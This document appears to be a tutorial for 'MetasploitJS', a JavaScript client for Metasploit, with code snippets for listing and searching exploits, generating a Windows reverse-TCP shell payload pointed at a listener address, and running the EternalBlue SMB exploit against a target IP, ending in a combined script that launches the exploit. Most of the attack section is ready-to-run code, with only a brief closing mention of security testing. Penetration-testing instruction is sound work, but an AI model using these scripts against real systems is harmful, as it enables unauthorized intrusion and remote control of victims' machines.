Introduction to MetasploitJS

MetasploitJS is a powerful tool for exploit development and vulnerability testing. It provides a wide range of APIs that streamline the process of identifying, testing, and exploiting security vulnerabilities. In this guide, we will introduce you to MetasploitJS and demonstrate several useful APIs with code snippets.

Getting Started with MetasploitJS

To start using MetasploitJS, you need to install the library using npm:

  
    npm install metasploitjs
  

API Reference and Code Snippets

1. Initialization

Initialize the MetasploitJS client:

  
    const Metasploit = require('metasploitjs');
    const client = new Metasploit({
      host: 'localhost',
      port: 3790,
      user: 'your-username',
      pass: 'your-password'
    });
  

2. List Available Exploits

Fetch a list of all available exploits:

  
    client.exploits.list().then(exploits => {
      console.log(exploits);
    });
  

3. Search for a Specific Exploit

Search for a specific exploit by name:

  
    client.exploits.search('ms17_010_eternalblue').then(exploit => {
      console.log(exploit);
    });
  

4. Payload Generation

Generate a payload for a specific exploit:

  
    client.payloads.generate({
      module: 'windows/shell_reverse_tcp',
      options: {
        LHOST: '192.168.1.100',
        LPORT: 4444
      }
    }).then(payload => {
      console.log(payload);
    });
  

5. Running the Exploit

Run an exploit against a target:

  
    client.exploits.run({
      target: '192.168.1.150',
      module: 'exploit/windows/smb/ms17_010_eternalblue'
    }).then(response => {
      console.log(response);
    });
  

Application Example

Let’s put these APIs together in a simple application that lists available exploits and performs a selected exploit:

  
    const Metasploit = require('metasploitjs');
    const client = new Metasploit({
      host: 'localhost',
      port: 3790,
      user: 'your-username',
      pass: 'your-password'
    });

    async function listAndExploit() {
      // List available exploits
      const exploits = await client.exploits.list();
      console.log('Available Exploits:', exploits);

      // Select an exploit (for example, ms17_010_eternalblue)
      const exploitName = 'ms17_010_eternalblue';

      // Run the exploit
      const response = await client.exploits.run({
        target: '192.168.1.150',
        module: `exploit/windows/smb/${exploitName}`
      });

      console.log('Exploit Response:', response);
    }

    listAndExploit();
  

With this guide, you have learned how to initialize the MetasploitJS client, list and search for exploits, generate payloads, and run exploits against targets. Use this knowledge to enhance your security testing practices and keep your systems secure.

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